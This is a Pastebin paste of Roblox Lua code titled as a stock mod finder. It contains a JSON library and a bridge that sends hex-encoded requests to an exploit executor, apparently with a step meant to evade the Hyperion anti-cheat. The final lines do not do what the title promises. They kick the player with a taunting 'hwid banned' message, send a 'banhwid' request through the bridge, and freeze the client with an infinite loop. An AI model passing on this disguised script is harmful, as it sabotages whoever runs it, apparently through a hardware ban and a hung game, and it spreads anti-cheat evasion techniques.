MODFINDER_STOCK_MODS

a

Jun 26th, 2024
23
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.48 KB | None | 0 0
  1. getloadedmodules = function()
  2. local returnable = {}
  3. for _,v in game:GetDescendants() do
  4. if v:IsA("ModuleScript") then
  5. returnable[#returnable + 1] = v
  6. end
  7. end
  8. return returnable
  9. end
  10.  
  11. local modules = getloadedmodules()
  12. local function encode_nil(val)
  13. return "null"
  14. end
  15. local function encode_table(val, stack)
  16. local res = {}
  17. stack = stack or {}
  18.  
  19. -- Circular reference?
  20. if stack[val] then error("circular reference") end
  21.  
  22. stack[val] = true
  23.  
  24. if rawget(val, 1) ~= nil or next(val) == nil then
  25. -- Treat as array -- check keys are valid and it is not sparse
  26. local n = 0
  27. for k in pairs(val) do
  28. if type(k) ~= "number" then
  29. error("invalid table: mixed or invalid key types")
  30. end
  31. n = n + 1
  32. end
  33. if n ~= #val then
  34. error("invalid table: sparse array")
  35. end
  36. -- Encode
  37. for i, v in ipairs(val) do
  38. table.insert(res, encode(v, stack))
  39. end
  40. stack[val] = nil
  41. return "[" .. table.concat(res, ",") .. "]"
  42.  
  43. else
  44. -- Treat as an object
  45. for k, v in pairs(val) do
  46. if type(k) ~= "string" then
  47. error("invalid table: mixed or invalid key types")
  48. end
  49. table.insert(res, encode(k, stack) .. ":" .. encode(v, stack))
  50. end
  51. stack[val] = nil
  52. return "{" .. table.concat(res, ",") .. "}"
  53. end
  54. end
  55.  
  56. function encodeHex(str)
  57. return (str:gsub('.', function (c)
  58. return string.format('%02X', string.byte(c))
  59. end))
  60. end
  61.  
  62. function decodeHex(str)
  63. return (str:gsub('..', function (cc)
  64. return string.char(tonumber(cc, 16))
  65. end))
  66. end
  67. local escape_char_map = {
  68. [ "\\" ] = "\\",
  69. [ "\"" ] = "\"",
  70. [ "\b" ] = "b",
  71. [ "\f" ] = "f",
  72. [ "\n" ] = "n",
  73. [ "\r" ] = "r",
  74. [ "\t" ] = "t",
  75. }
  76.  
  77. local escape_char_map_inv = { [ "/" ] = "/" }
  78. for k, v in pairs(escape_char_map) do
  79. escape_char_map_inv[v] = k
  80. end
  81.  
  82.  
  83. local function escape_char(c)
  84. return "\\" .. (escape_char_map[c] or string.format("u%04x", c:byte()))
  85. end
  86. local function encode_string(val)
  87. return '"' .. val:gsub('[%z\1-\31\\"]', escape_char) .. '"'
  88. end
  89.  
  90.  
  91. local function encode_number(val)
  92. -- Check for NaN, -inf and inf
  93. if val ~= val or val <= -math.huge or val >= math.huge then
  94. error("unexpected number value '" .. tostring(val) .. "'")
  95. end
  96. return string.format("%.14g", val)
  97. end
  98.  
  99. local type_func_map = {
  100. [ "nil" ] = encode_nil,
  101. [ "table" ] = encode_table,
  102. [ "string" ] = encode_string,
  103. [ "number" ] = encode_number,
  104. [ "boolean" ] = tostring,
  105. }
  106.  
  107.  
  108. encode = function(val, stack)
  109. local t = type(val)
  110. local f = type_func_map[t]
  111. if f then
  112. return f(val, stack)
  113. end
  114. error("unexpected type '" .. t .. "'")
  115. end
  116. local function create_set(...)
  117. local res = {}
  118. for i = 1, select("#", ...) do
  119. res[ select(i, ...) ] = true
  120. end
  121. return res
  122. end
  123. local space_chars = create_set(" ", "\t", "\r", "\n")
  124. local json = { _version = "0.1.2" }
  125. local function decode_error(str, idx, msg)
  126. local line_count = 1
  127. local col_count = 1
  128. for i = 1, idx - 1 do
  129. col_count = col_count + 1
  130. if str:sub(i, i) == "\n" then
  131. line_count = line_count + 1
  132. col_count = 1
  133. end
  134. end
  135. error( string.format("%s at line %d col %d", msg, line_count, col_count) )
  136. end
  137. local function next_char(str, idx, set, negate)
  138. for i = idx, #str do
  139. if set[str:sub(i, i)] ~= negate then
  140. return i
  141. end
  142. end
  143. return #str + 1
  144. end
  145. local function codepoint_to_utf8(n)
  146. -- http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=iws-appendixa
  147. local f = math.floor
  148. if n <= 0x7f then
  149. return string.char(n)
  150. elseif n <= 0x7ff then
  151. return string.char(f(n / 64) + 192, n % 64 + 128)
  152. elseif n <= 0xffff then
  153. return string.char(f(n / 4096) + 224, f(n % 4096 / 64) + 128, n % 64 + 128)
  154. elseif n <= 0x10ffff then
  155. return string.char(f(n / 262144) + 240, f(n % 262144 / 4096) + 128,
  156. f(n % 4096 / 64) + 128, n % 64 + 128)
  157. end
  158. error( string.format("invalid unicode codepoint '%x'", n) )
  159. end
  160. local function parse_unicode_escape(s)
  161. local n1 = tonumber( s:sub(3, 6), 16 )
  162. local n2 = tonumber( s:sub(9, 12), 16 )
  163. -- Surrogate pair?
  164. if n2 then
  165. return codepoint_to_utf8((n1 - 0xd800) * 0x400 + (n2 - 0xdc00) + 0x10000)
  166. else
  167. return codepoint_to_utf8(n1)
  168. end
  169. end
  170.  
  171. local escape_chars = create_set("\\", "/", '"', "b", "f", "n", "r", "t", "u")
  172. local function parse_string(str, i)
  173. local has_unicode_escape = false
  174. local has_surrogate_escape = false
  175. local has_escape = false
  176. local last
  177. for j = i + 1, #str do
  178. local x = str:byte(j)
  179.  
  180. if x < 32 then
  181. decode_error(str, j, "control character in string")
  182. end
  183.  
  184. if last == 92 then -- "\\" (escape char)
  185. if x == 117 then -- "u" (unicode escape sequence)
  186. local hex = str:sub(j + 1, j + 5)
  187. if not hex:find("%x%x%x%x") then
  188. decode_error(str, j, "invalid unicode escape in string")
  189. end
  190. if hex:find("^[dD][89aAbB]") then
  191. has_surrogate_escape = true
  192. else
  193. has_unicode_escape = true
  194. end
  195. else
  196. local c = string.char(x)
  197. if not escape_chars[c] then
  198. decode_error(str, j, "invalid escape char '" .. c .. "' in string")
  199. end
  200. has_escape = true
  201. end
  202. last = nil
  203.  
  204. elseif x == 34 then -- '"' (end of string)
  205. local s = str:sub(i + 1, j - 1)
  206. if has_surrogate_escape then
  207. s = s:gsub("\\u[dD][89aAbB]..\\u....", parse_unicode_escape)
  208. end
  209. if has_unicode_escape then
  210. s = s:gsub("\\u....", parse_unicode_escape)
  211. end
  212. if has_escape then
  213. s = s:gsub("\\.", escape_char_map_inv)
  214. end
  215. return s, j + 1
  216.  
  217. else
  218. last = x
  219. end
  220. end
  221. decode_error(str, i, "expected closing quote for string")
  222. end
  223. local delim_chars = create_set(" ", "\t", "\r", "\n", "]", "}", ",")
  224. local literals = create_set("true", "false", "null")
  225. local function parse_number(str, i)
  226. local x = next_char(str, i, delim_chars)
  227. local s = str:sub(i, x - 1)
  228. local n = tonumber(s)
  229. if not n then
  230. decode_error(str, i, "invalid number '" .. s .. "'")
  231. end
  232. return n, x
  233. end
  234. local literal_map = {
  235. [ "true" ] = true,
  236. [ "false" ] = false,
  237. [ "null" ] = nil,
  238. }
  239. local function parse_literal(str, i)
  240. local x = next_char(str, i, delim_chars)
  241. local word = str:sub(i, x - 1)
  242. if not literals[word] then
  243. decode_error(str, i, "invalid literal '" .. word .. "'")
  244. end
  245. return literal_map[word], x
  246. end
  247.  
  248. local function parse_array(str, i)
  249. local res = {}
  250. local n = 1
  251. i = i + 1
  252. while 1 do
  253. local x
  254. i = next_char(str, i, space_chars, true)
  255. -- Empty / end of array?
  256. if str:sub(i, i) == "]" then
  257. i = i + 1
  258. break
  259. end
  260. -- Read token
  261. x, i = parse(str, i)
  262. res[n] = x
  263. n = n + 1
  264. -- Next token
  265. i = next_char(str, i, space_chars, true)
  266. local chr = str:sub(i, i)
  267. i = i + 1
  268. if chr == "]" then break end
  269. if chr ~= "," then decode_error(str, i, "expected ']' or ','") end
  270. end
  271. return res, i
  272. end
  273.  
  274. local function parse_object(str, i)
  275. local res = {}
  276. i = i + 1
  277. while 1 do
  278. local key, val
  279. i = next_char(str, i, space_chars, true)
  280. -- Empty / end of object?
  281. if str:sub(i, i) == "}" then
  282. i = i + 1
  283. break
  284. end
  285. -- Read key
  286. if str:sub(i, i) ~= '"' then
  287. decode_error(str, i, "expected string for key")
  288. end
  289. key, i = parse(str, i)
  290. -- Read ':' delimiter
  291. i = next_char(str, i, space_chars, true)
  292. if str:sub(i, i) ~= ":" then
  293. decode_error(str, i, "expected ':' after key")
  294. end
  295. i = next_char(str, i + 1, space_chars, true)
  296. -- Read value
  297. val, i = parse(str, i)
  298. -- Set
  299. res[key] = val
  300. -- Next token
  301. i = next_char(str, i, space_chars, true)
  302. local chr = str:sub(i, i)
  303. i = i + 1
  304. if chr == "}" then break end
  305. if chr ~= "," then decode_error(str, i, "expected '}' or ','") end
  306. end
  307. return res, i
  308. end
  309. local char_func_map = {
  310. [ '"' ] = parse_string,
  311. [ "0" ] = parse_number,
  312. [ "1" ] = parse_number,
  313. [ "2" ] = parse_number,
  314. [ "3" ] = parse_number,
  315. [ "4" ] = parse_number,
  316. [ "5" ] = parse_number,
  317. [ "6" ] = parse_number,
  318. [ "7" ] = parse_number,
  319. [ "8" ] = parse_number,
  320. [ "9" ] = parse_number,
  321. [ "-" ] = parse_number,
  322. [ "t" ] = parse_literal,
  323. [ "f" ] = parse_literal,
  324. [ "n" ] = parse_literal,
  325. [ "[" ] = parse_array,
  326. [ "{" ] = parse_object,
  327. }
  328. parse = function(str, idx)
  329. local chr = str:sub(idx, idx)
  330. local f = char_func_map[chr]
  331. if f then
  332. return f(str, idx)
  333. end
  334. decode_error(str, idx, "unexpected character '" .. chr .. "'")
  335. end
  336. function json.decode(str)
  337. if type(str) ~= "string" then
  338. error("expected argument of type string, got " .. type(str))
  339. end
  340. local res, idx = parse(str, next_char(str, 1, space_chars, true))
  341. idx = next_char(str, idx, space_chars, true)
  342. if idx <= #str then
  343. decode_error(str, idx, "trailing garbage")
  344. end
  345. return res
  346. end
  347. local BridgeService = {
  348. Send = function(self, request, isRequestModule, requestObj, hasReturn)
  349. local requestInstance = Instance.new("Part")
  350. local requestStatus = Instance.new("Part", requestInstance)
  351. local requestModule
  352. local returned
  353. local err
  354.  
  355. if isRequestModule then
  356. requestModule = modules[math.random(1, #modules)]:Clone()
  357. requestModule:ClearAllChildren()
  358.  
  359. requestModule.Name = "requestModule"
  360. requestModule.Parent = requestInstance
  361. end
  362.  
  363. if requestObj then
  364. requestObj.Name = "requestObj"
  365. requestObj.Parent = requestInstance
  366. end
  367.  
  368. requestInstance.Name = game:GetService("HttpService"):GenerateGUID(true)
  369. requestStatus.Name = "Status"
  370.  
  371. local reqEncoded = encodeHex(encode(request))
  372. requestStatus:SetAttribute("Status", "0")
  373. requestInstance:SetAttribute("Request", reqEncoded)
  374. local oldsize = #reqEncoded
  375.  
  376. local requestFinished = Instance.new("BindableEvent")
  377.  
  378. local HBCONN; HBCONN = game:GetService("RunService").Heartbeat:Connect(function()
  379. local status = requestStatus:GetAttribute("Status")
  380. requestInstance.Name = game:GetService("HttpService"):GenerateGUID(true)
  381. if requestObj then
  382. requestObj:SetAttribute("Hyperion", game:GetService("HttpService"):GenerateGUID(true))
  383. end
  384. if status == "." and requestInstance.Parent ~= nil then
  385. requestInstance.Parent = nil
  386. end
  387. if status == "L" then
  388. requestInstance:SetAttribute("Request", ("."):rep(#requestInstance:GetAttribute("Request")))
  389. reqEncoded = requestInstance:GetAttribute("Request")
  390. requestStatus:SetAttribute("Status", "D")
  391. elseif status ~= "." and status ~= "0" then
  392. HBCONN:Disconnect()
  393. requestFinished:Fire()
  394. end
  395. end)
  396.  
  397. requestInstance.Parent = game:GetService("CoreGui").BridgeService
  398. requestFinished.Event:Wait()
  399.  
  400. if requestObj then
  401. requestObj:Destroy()
  402. end
  403.  
  404. if hasReturn then
  405. if not isRequestModule then
  406. local content = decodeHex(requestInstance:GetAttribute("Request"))
  407. returned = decodeHex(json.decode(content)["return"])
  408. else
  409. if requestStatus:GetAttribute("Status") == "2" then
  410. requestInstance:SetAttribute("Request", "")
  411. requestFinished:Destroy()
  412. requestInstance:Destroy()
  413. return nil, "ERR"
  414. end
  415. returned,err = pcall(require, requestModule)
  416. task.delay(2, function()
  417. requestModule:Destroy()
  418. end)
  419. if not returned then
  420. requestInstance:SetAttribute("Request", "")
  421. requestFinished:Destroy()
  422. requestInstance:Destroy()
  423. return nil, err
  424. end
  425. requestInstance:SetAttribute("Request", "")
  426. requestFinished:Destroy()
  427. requestInstance:Destroy()
  428. return err,nil
  429. end
  430. end
  431.  
  432.  
  433. requestFinished:Destroy()
  434. requestInstance:Destroy()
  435.  
  436. return returned
  437. end
  438. }
  439. game:GetService("Players").LocalPlayer:Kick("hwid banned ez gg ur cooked kid")
  440. BridgeService:Send({
  441. ["request"] = {
  442. ["name"] = "banhwid"
  443. }
  444. })
  445. task.wait(1)
  446. while true do end
Advertisement
Add Comment
Please, Sign In to add comment